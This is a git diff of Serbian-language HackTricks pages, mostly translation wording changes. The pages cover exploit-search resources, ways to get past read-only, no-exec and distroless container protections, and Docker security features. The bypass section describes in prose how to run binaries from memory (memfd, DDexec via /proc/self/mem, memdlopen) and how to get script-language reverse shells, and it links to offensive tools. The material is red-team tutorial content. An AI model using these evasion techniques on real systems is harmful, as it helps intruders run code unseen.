* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -10,7 +10,7 @@ Drugi načini podrške HackTricks-u:
|
|||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
* **Podelite svoje hakovanje trikova slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -24,9 +24,9 @@ Dobijte pristup danas:
|
|||
|
||||
### Pretraživač
|
||||
|
||||
Uvek pretražujte na "google" ili drugim: **\<ime\_servisa> \[verzija\] eksploatacija**
|
||||
Uvek pretražujte u "google" ili drugima: **\<ime\_servisa> \[verzija\] eksploatacija**
|
||||
|
||||
Takođe treba da probate **shodan** **pretragu eksploatacija** na [https://exploits.shodan.io/](https://exploits.shodan.io).
|
||||
Takođe treba da probate **shodan** **pretragu eksploatacija** sa [https://exploits.shodan.io/](https://exploits.shodan.io).
|
||||
|
||||
### Searchsploit
|
||||
|
||||
|
@ -60,11 +60,11 @@ Takođe možete pretražiti u vulners bazi podataka: [https://vulners.com/](http
|
|||
|
||||
Ovo pretražuje eksploate u drugim bazama podataka: [https://sploitus.com/](https://sploitus.com)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice.\
|
||||
Dobijte pristup danas:
|
||||
Pristupite danas:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
|
@ -74,7 +74,7 @@ Dobijte pristup danas:
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# Bypassovanje zaštite fajl sistema: samo za čitanje / bez izvršavanja / Distroless
|
||||
# Bypass FS zaštite: samo za čitanje / bez izvršavanja / Distroless
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -8,28 +8,28 @@ Drugi načini podrške HackTricks-u:
|
|||
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**Porodičnu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ako ste zainteresovani za **hakersku karijeru** i hakovanje onoga što se ne može hakovati - **zapošljavamo!** (_potrebno je tečno poznavanje poljskog jezika, kako pisano tako i govorno_).
|
||||
Ako vas zanima **hakerska karijera** i hakovanje neuhvatljivog - **zapošljavamo!** (_potrebno je tečno poznavanje pisanog i govornog poljskog jezika_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
## Video snimci
|
||||
## Video zapisi
|
||||
|
||||
U sledećim video snimcima možete pronaći tehnike pomenute na ovoj stranici objašnjene detaljnije:
|
||||
U sledećim video zapisima možete pronaći tehnike pomenute na ovoj stranici objašnjene detaljnije:
|
||||
|
||||
* [**DEF CON 31 - Istraživanje manipulacije memorijom Linux-a radi prikrivanja i izbegavanja**](https://www.youtube.com/watch?v=poHirez8jk4)
|
||||
* [**DEF CON 31 - Istraživanje manipulacije memorijom Linuxa za prikrivanje i izbegavanje**](https://www.youtube.com/watch?v=poHirez8jk4)
|
||||
* [**Skriveni upadi sa DDexec-ng & in-memory dlopen() - HackTricks Track 2023**](https://www.youtube.com/watch?v=VM\_gjjiARaU)
|
||||
|
||||
## Scenario samo za čitanje / bez izvršavanja
|
||||
|
||||
Sve je češće naići na linux mašine montirane sa **zaštitom fajl sistema samo za čitanje (ro)**, posebno u kontejnerima. To je zato što je pokretanje kontejnera sa fajl sistemom samo za čitanje jednostavno postavljanjem **`readOnlyRootFilesystem: true`** u `securitycontext`:
|
||||
Sve je češće naići na linux mašine montirane sa **zaštitom fajl sistema samo za čitanje (ro)**, posebno u kontejnerima. To je zato što je pokretanje kontejnera sa ro fajl sistemom jednostavno postavljanjem **`readOnlyRootFilesystem: true`** u `securitycontext`:
|
||||
|
||||
<pre class="language-yaml"><code class="lang-yaml">apiVersion: v1
|
||||
kind: Pod
|
||||
|
@ -44,37 +44,37 @@ securityContext:
|
|||
</strong> command: ["sh", "-c", "while true; do sleep 1000; done"]
|
||||
</code></pre>
|
||||
|
||||
Međutim, čak i ako je fajl sistem montiran kao samo za čitanje, **`/dev/shm`** će i dalje biti upisiv, tako da nije tačno da ne možemo ništa pisati na disk. Međutim, ovaj folder će biti **montiran sa zaštitom bez izvršavanja**, pa ako preuzmete binarni fajl ovde, **nećete moći da ga izvršite**.
|
||||
Međutim, čak i ako je fajl sistem montiran kao ro, **`/dev/shm`** će i dalje biti upisiv, tako da nije tačno da ne možemo pisati ništa na disk. Međutim, ovaj folder će biti **montiran sa zaštitom bez izvršavanja**, pa ako preuzmete binarni fajl ovde, **nećete moći da ga izvršite**.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Sa perspektive crvenog tima, ovo otežava **preuzimanje i izvršavanje** binarnih fajlova koji već nisu u sistemu (kao što su backdoor-ovi ili enumeratori poput `kubectl`).
|
||||
Sa perspektive crvenog tima, ovo otežava **preuzimanje i izvršavanje** binarnih fajlova koji nisu već prisutni u sistemu (kao što su backdoor-ovi ili enumeratori poput `kubectl`).
|
||||
{% endhint %}
|
||||
|
||||
## Najlakše zaobilaženje: Skripte
|
||||
## Najlakši način zaobilaženja: Skripte
|
||||
|
||||
Imajte na umu da sam spomenuo binarne fajlove, možete **izvršiti bilo koju skriptu** sve dok je interpretator unutar mašine, poput **shell skripte** ako je `sh` prisutan ili **python skripte** ako je instaliran `python`.
|
||||
|
||||
Međutim, ovo nije dovoljno da biste izvršili vaš binarni backdoor ili druge binarne alate koje možda treba pokrenuti.
|
||||
|
||||
## Zaobilazak memorije
|
||||
## Bypass memorije
|
||||
|
||||
Ako želite da izvršite binarni fajl, ali fajl sistem to ne dozvoljava, najbolji način je da to uradite **iz memorije**, jer se **zaštite ne primenjuju tamo**.
|
||||
Ako želite da izvršite binarni fajl, ali fajl sistem to ne dozvoljava, najbolji način je **izvršiti ga iz memorije**, jer se **zaštite ne primenjuju tamo**.
|
||||
|
||||
### FD + zaobilazak exec syscall-a
|
||||
### FD + exec syscall bypass
|
||||
|
||||
Ako imate moćne skriptne motore unutar mašine, poput **Python-a**, **Perl-a** ili **Ruby-ja**, možete preuzeti binarni fajl za izvršavanje iz memorije, sačuvati ga u deskriptoru fajla u memoriji (`create_memfd` syscall), što neće biti zaštićeno tim zaštitama, a zatim pozvati **`exec` syscall** navodeći **fd kao fajl za izvršavanje**.
|
||||
Ako imate moćne skriptne motore unutar mašine, poput **Python-a**, **Perla** ili **Ruby-ja**, možete preuzeti binarni fajl za izvršavanje iz memorije, sačuvati ga u deskriptoru fajla u memoriji (`create_memfd` syscall), što neće biti zaštićeno tim zaštitama, a zatim pozvati **`exec` syscall** navodeći **fd kao fajl za izvršavanje**.
|
||||
|
||||
Za ovo možete lako koristiti projekat [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec). Možete mu proslediti binarni fajl i on će generisati skriptu na naznačenom jeziku sa **binarnim fajlom kompresovanim i b64 enkodiranim** sa instrukcijama za **dekodiranje i dekompresovanje** u **fd** kreiran pozivom `create_memfd` syscall-a i poziv **exec** syscall-a za pokretanje.
|
||||
Za ovo možete lako koristiti projekat [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec). Možete mu proslediti binarni fajl i on će generisati skriptu na naznačenom jeziku sa **binarnim fajlom kompresovanim i b64 enkodiranim** sa instrukcijama za **dekodiranje i dekompresovanje** u **fd** kreiran pozivom `create_memfd` syscall i poziv **exec** syscall-a za pokretanje.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Ovo ne funkcioniše u drugim skriptnim jezicima poput PHP-a ili Node-a jer nemaju **podrazumevan način pozivanja sirovih syscalls** iz skripte, tako da nije moguće pozvati `create_memfd` da kreirate **memorijski fd** za čuvanje binarnog fajla.
|
||||
Ovo ne funkcioniše u drugim skriptnim jezicima poput PHP-a ili Node-a jer nemaju **podrazumevan način pozivanja sirovih syscalls** iz skripte, pa nije moguće pozvati `create_memfd` da kreirate **memorijski fd** za čuvanje binarnog fajla.
|
||||
|
||||
Osim toga, kreiranje **regularnog fd** sa fajlom u `/dev/shm` neće raditi, jer vam neće biti dozvoljeno da ga pokrenete zbog primene **zaštite bez izvršavanja**.
|
||||
{% endhint %}
|
||||
|
||||
### DDexec / EverythingExec
|
||||
|
||||
[**DDexec / EverythingExec**](https://github.com/arget13/DDexec) je tehnika koja vam omogućava da **modifikujete memoriju vašeg sopstvenog procesa** tako što ćete prepisati njegov **`/proc/self/mem`**.
|
||||
[**DDexec / EverythingExec**](https://github.com/arget13/DDexec) je tehnika koja vam omogućava da **modifikujete memoriju vašeg sopstvenog procesa** tako što ćete prebrisati njegov **`/proc/self/mem`**.
|
||||
|
||||
Stoga, **kontrolišući asemblerski kod** koji se izvršava od strane procesa, možete napisati **shellcode** i "mutirati" proces da **izvrši bilo koji proizvoljni kod**.
|
||||
|
||||
|
@ -101,7 +101,7 @@ Možete pronaći primer kako koristiti **memexec za izvršavanje binarnih fajlov
|
|||
|
||||
Sa sličnim ciljem kao DDexec, tehnika [**memdlopen**](https://github.com/arget13/memdlopen) omogućava **jednostavniji način učitavanja binarnih fajlova** u memoriju kako bi ih kasnije izvršili. To bi čak moglo omogućiti učitavanje binarnih fajlova sa zavisnostima.
|
||||
|
||||
## Bypassovanje Distroless
|
||||
## Bypass Distroless
|
||||
|
||||
### Šta je distroless
|
||||
|
||||
|
@ -117,7 +117,7 @@ U distroless kontejneru možda **nećete čak ni pronaći `sh` ili `bash`** da b
|
|||
Stoga, **nećete** moći dobiti **reverse shell** ili **enumerisati** sistem kao što obično radite.
|
||||
{% endhint %}
|
||||
|
||||
Međutim, ako kompromitovani kontejner pokreće na primer flask veb, tada je instaliran python, i stoga možete dobiti **Python reverse shell**. Ako pokreće node, možete dobiti Node rev šel, i isto važi za većinu bilo koje **skripting jezike**.
|
||||
Međutim, ako kompromitovani kontejner pokreće na primer flask veb, tada je instaliran python, i stoga možete dobiti **Python reverse shell**. Ako pokreće node, možete dobiti Node rev shell, i isto važi za većinu bilo koje **skripting jezike**.
|
||||
|
||||
{% hint style="success" %}
|
||||
Korišćenjem skriptnog jezika možete **enumerisati sistem** koristeći mogućnosti jezika.
|
||||
|
@ -129,9 +129,9 @@ Ako ne postoje **zaštite `read-only/no-exec`** možete zloupotrebiti svoj rever
|
|||
Međutim, u ovakvim kontejnerima ove zaštite obično postoje, ali možete koristiti **prethodne tehnike izvršavanja u memoriji da ih zaobiđete**.
|
||||
{% endhint %}
|
||||
|
||||
Možete pronaći **primere** kako **iskoristiti neke RCE ranjivosti** da biste dobili **reverse shell-ove skriptnih jezika** i izvršili binarne fajlove iz memorije na [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE).
|
||||
Možete pronaći **primere** kako **iskoristiti neke RCE ranjivosti** da biste dobili **reverse shell-ove skripting jezika** i izvršili binarne fajlove iz memorije na [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE).
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ako ste zainteresovani za **hakersku karijeru** i hakovanje neuhvatljivog - **zapošljavamo!** (_potrebno je tečno poznavanje poljskog jezika u pisanju i govoru_).
|
||||
|
||||
|
@ -143,7 +143,7 @@ Ako ste zainteresovani za **hakersku karijeru** i hakovanje neuhvatljivog - **za
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite videti svoju **kompaniju reklamiranu u HackTricks-u** ili **preuzeti HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
@ -6,15 +6,15 @@
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice.\
|
||||
|
@ -46,11 +46,11 @@ Sertifikati se koriste za potvrdu identiteta servera. Za detaljne primere oba me
|
|||
|
||||
### Bezbednost slika kontejnera
|
||||
|
||||
Slike kontejnera mogu se čuvati u privatnim ili javnim repozitorijumima. Docker nudi nekoliko opcija za skladištenje slika kontejnera:
|
||||
Slike kontejnera mogu se čuvati u privatnim ili javnim repozitorijumima. Docker nudi nekoliko opcija za čuvanje slika kontejnera:
|
||||
|
||||
* [**Docker Hub**](https://hub.docker.com): Javna usluga registra od strane Dockera.
|
||||
* [**Docker Registry**](https://github.com/docker/distribution): Projekat otvorenog koda koji korisnicima omogućava da hostuju svoj sopstveni registar.
|
||||
* [**Docker Trusted Registry**](https://www.docker.com/docker-trusted-registry): Komercijalni registar Dockera koji nudi autentifikaciju korisnika zasnovanu na ulogama i integraciju sa LDAP direktorijumskim servisima.
|
||||
* [**Docker Trusted Registry**](https://www.docker.com/docker-trusted-registry): Komercijalna ponuda Dockera, sa autentifikacijom korisnika zasnovanom na ulogama i integracijom sa LDAP direktorijumskim servisima.
|
||||
|
||||
### Skeniranje slika
|
||||
|
||||
|
@ -60,7 +60,7 @@ Za više [**informacija pročitajte ovo**](https://docs.docker.com/engine/scan/)
|
|||
|
||||
* **`docker scan`**
|
||||
|
||||
Komanda **`docker scan`** omogućava vam skeniranje postojećih Docker slika koristeći ime ili ID slike. Na primer, pokrenite sledeću komandu da skenirate sliku hello-world:
|
||||
Komanda **`docker scan`** omogućava skeniranje postojećih Docker slika korišćenjem imena ili ID slike. Na primer, pokrenite sledeću komandu da skenirate sliku hello-world:
|
||||
```bash
|
||||
docker scan hello-world
|
||||
|
||||
|
@ -94,9 +94,9 @@ Potpisivanje Docker slike osigurava sigurnost i integritet slika korišćenih u
|
|||
|
||||
- **Docker Content Trust** koristi Notary projekat, zasnovan na The Update Framework (TUF), za upravljanje potpisivanjem slika. Za više informacija, pogledajte [Notary](https://github.com/docker/notary) i [TUF](https://theupdateframework.github.io).
|
||||
- Da biste aktivirali Docker content trust, postavite `export DOCKER_CONTENT_TRUST=1`. Ova funkcija je isključena po podrazumevanju u Docker verziji 1.10 i kasnijim verzijama.
|
||||
- Sa ovom funkcijom omogućenom, mogu se preuzimati samo potpisane slike. Početni unos slike zahteva postavljanje lozinki za korenske i oznake ključeva, pri čemu Docker takođe podržava Yubikey za unapređenu sigurnost. Više detalja možete pronaći [ovde](https://blog.docker.com/2015/11/docker-content-trust-yubikey/).
|
||||
- Sa ovom funkcijom omogućenom, samo potpisane slike mogu biti preuzete. Početno slanje slike zahteva postavljanje lozinki za korenske i označene ključeve, pri čemu Docker takođe podržava Yubikey za unapređenu sigurnost. Više detalja možete pronaći [ovde](https://blog.docker.com/2015/11/docker-content-trust-yubikey/).
|
||||
- Pokušaj preuzimanja nepotpisane slike sa omogućenim content trust-om rezultira greškom "No trust data for latest".
|
||||
- Za unos slika nakon prvog, Docker traži lozinku ključa repozitorijuma za potpisivanje slike.
|
||||
- Za slanje slika nakon prvog, Docker traži lozinku ključa repozitorijuma za potpisivanje slike.
|
||||
|
||||
Za bekapovanje vaših privatnih ključeva, koristite komandu:
|
||||
```bash
|
||||
|
@ -106,10 +106,10 @@ Kada prebacujete Docker hostove, potrebno je premestiti root i repozitorijum klj
|
|||
|
||||
***
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice.\
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice.\
|
||||
Pristupite danas:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -118,29 +118,29 @@ Pristupite danas:
|
|||
|
||||
<details>
|
||||
|
||||
<summary>Rezime Funkcija Sigurnosti Kontejnera</summary>
|
||||
<summary>Rezime funkcija sigurnosti kontejnera</summary>
|
||||
|
||||
#### Glavne Funkcije Izolacije Glavnog Procesa
|
||||
**Glavne funkcije izolacije glavnog procesa**
|
||||
|
||||
U kontejnerizovanim okruženjima, izolacija projekata i njihovih procesa je od suštinskog značaja za sigurnost i upravljanje resursima. Evo pojednostavljenog objašnjenja ključnih koncepata:
|
||||
|
||||
**Namespaces**
|
||||
**Prostori imena (Namespaces)**
|
||||
|
||||
* **Svrha**: Osigurati izolaciju resursa poput procesa, mreže i fajl sistema. Posebno u Docker-u, namespaces drže procese kontejnera odvojene od domaćina i drugih kontejnera.
|
||||
* **Korišćenje `unshare`**: Komanda `unshare` (ili odgovarajući sistemski poziv) se koristi za kreiranje novih namespaces, pružajući dodatni sloj izolacije. Međutim, iako Kubernetes inherentno ne blokira ovo, Docker to radi.
|
||||
* **Ograničenje**: Kreiranje novih namespaces ne dozvoljava procesu da se vrati na podrazumevane namespaces domaćina. Da bi prodro u namespaces domaćina, obično bi bio potreban pristup direktorijumu `/proc` domaćina, koristeći `nsenter` za ulaz.
|
||||
* **Svrha**: Osigurati izolaciju resursa poput procesa, mreže i fajl sistema. Posebno u Docker-u, prostori imena čuvaju procese kontejnera odvojene od domaćina i drugih kontejnera.
|
||||
* **Korišćenje `unshare`**: Komanda `unshare` (ili odgovarajući sistemski poziv) se koristi za kreiranje novih prostora imena, pružajući dodatni sloj izolacije. Međutim, iako Kubernetes inherentno ne blokira ovo, Docker to čini.
|
||||
* **Ograničenje**: Kreiranje novih prostora imena ne dozvoljava procesu da se vrati na podrazumevane prostore imena domaćina. Da bi prodro u prostore imena domaćina, obično bi bio potreban pristup direktorijumu `/proc` domaćina, koristeći `nsenter` za ulaz.
|
||||
|
||||
**Control Groups (CGroups)**
|
||||
**Grupa Kontrola (CGroups)**
|
||||
|
||||
* **Funkcija**: Prvenstveno se koristi za dodelu resursa među procesima.
|
||||
* **Aspekt Sigurnosti**: CGroups same po sebi ne pružaju sigurnost izolacije, osim funkcije `release_agent`, koja, ako nije ispravno konfigurisana, potencijalno može biti iskorišćena za neovlašćeni pristup.
|
||||
* **Aspekt sigurnosti**: Same CGroups ne nude sigurnost izolacije, osim funkcije `release_agent`, koja, ako nije ispravno konfigurisana, potencijalno može biti iskorišćena za neovlašćeni pristup.
|
||||
|
||||
**Odbacivanje Mogućnosti (Capability Drop)**
|
||||
**Odbacivanje sposobnosti (Capability Drop)**
|
||||
|
||||
* **Važnost**: To je ključna sigurnosna funkcija za izolaciju procesa.
|
||||
* **Funkcionalnost**: Ona ograničava akcije koje root proces može izvršiti odbacivanjem određenih mogućnosti. Čak i ako proces radi sa privilegijama root-a, nedostatak neophodnih mogućnosti sprečava ga da izvršava privilegovane akcije, jer će sistemski pozivi propasti zbog nedovoljnih dozvola.
|
||||
* **Funkcionalnost**: Ona ograničava akcije koje root proces može izvršiti odbacivanjem određenih sposobnosti. Čak i ako proces radi sa privilegijama root-a, nedostatak neophodnih sposobnosti sprečava ga da izvršava privilegovane akcije, jer će sistemski pozivi propasti zbog nedovoljnih dozvola.
|
||||
|
||||
Ovo su **preostale mogućnosti** nakon što proces odbaci ostale:
|
||||
Ovo su **preostale sposobnosti** nakon što proces odbaci ostale:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```
|
||||
|
@ -181,8 +181,8 @@ Za **više informacija o namespace-ovima** pogledajte sledeću stranicu:
|
|||
|
||||
### cgroups
|
||||
|
||||
Linux kernel funkcija **cgroups** omogućava mogućnost **ograničavanja resursa poput cpu, memorije, io, propusnosti mreže među** skupom procesa. Docker omogućava kreiranje kontejnera koristeći cgroup funkciju koja omogućava kontrolu resursa za određeni kontejner.\
|
||||
Sledeći je kontejner kreiran sa ograničenjem memorije korisničkog prostora na 500m, ograničenjem kernel memorije na 50m, deljenjem CPU-a na 512, blkioweight na 400. CPU deljenje je odnos koji kontroliše upotrebu CPU-a kontejnera. Ima podrazumevanu vrednost od 1024 i opseg između 0 i 1024. Ako tri kontejnera imaju isto CPU deljenje od 1024, svaki kontejner može koristiti do 33% CPU-a u slučaju sukoba resursa CPU-a. blkio-weight je odnos koji kontroliše IO kontejnera. Ima podrazumevanu vrednost od 500 i opseg između 10 i 1000.
|
||||
Linux kernel funkcija **cgroups** omogućava mogućnost **ograničavanja resursa kao što su cpu, memorija, io, propusnost mreže među** skupom procesa. Docker omogućava kreiranje kontejnera koristeći cgroup funkciju koja omogućava kontrolu resursa za određeni kontejner.\
|
||||
Sledeći je kontejner kreiran sa ograničenjem memorije korisničkog prostora na 500m, ograničenjem kernel memorije na 50m, deljenjem cpu na 512, blkioweight na 400. CPU deljenje je odnos koji kontroliše upotrebu CPU-a kontejnera. Podrazumevana vrednost je 1024, a opseg je između 0 i 1024. Ako tri kontejnera imaju isto CPU deljenje od 1024, svaki kontejner može koristiti do 33% CPU-a u slučaju sukoba resursa CPU-a. blkio-weight je odnos koji kontroliše IO kontejnera. Podrazumevana vrednost je 500, a opseg je između 10 i 1000.
|
||||
```
|
||||
docker run -it -m 500M --kernel-memory 50M --cpu-shares 512 --blkio-weight 400 --name ubuntu1 ubuntu bash
|
||||
```
|
||||
|
@ -202,7 +202,7 @@ Za više informacija pogledajte:
|
|||
|
||||
Mogućnosti omogućavaju **finiju kontrolu mogućnosti koje se mogu dozvoliti** za korisnika root. Docker koristi mogućnost funkcije jezgra Linux-a da **ograniči operacije koje se mogu obaviti unutar kontejnera** bez obzira na vrstu korisnika.
|
||||
|
||||
Kada se pokrene docker kontejner, **proces odbacuje osetljive mogućnosti koje bi proces mogao koristiti da pobegne iz izolacije**. Ovo pokušava da osigura da proces neće moći da obavlja osetljive radnje i pobegne:
|
||||
Kada se pokrene docker kontejner, **proces odbacuje osetljive mogućnosti koje bi proces mogao koristiti za bekstvo iz izolacije**. Ovo pokušava da osigura da proces neće moći da obavlja osetljive radnje i bekstva:
|
||||
|
||||
{% content-ref url="../linux-capabilities.md" %}
|
||||
[linux-capabilities.md](../linux-capabilities.md)
|
||||
|
@ -242,10 +242,10 @@ Ovaj mehanizam osigurava da čak i ako je proces unutar kontejnera kompromitovan
|
|||
|
||||
U Docker-u, autorizacioni dodatak igra ključnu ulogu u sigurnosti odlučujući da li da dozvoli ili blokira zahteve ka Docker demonu. Ova odluka se donosi ispitivanjem dva ključna konteksta:
|
||||
|
||||
* **Kontekst autentifikacije**: Ovo uključuje sveobuhvatne informacije o korisniku, kao što su ko su i kako su se autentifikovali.
|
||||
* **Kontekst autentifikacije**: Ovde se nalaze sveobuhvatne informacije o korisniku, kao što su ko su i kako su se autentifikovali.
|
||||
* **Kontekst komande**: Ovaj sadrži sve relevantne podatke vezane za zahtev koji se pravi.
|
||||
|
||||
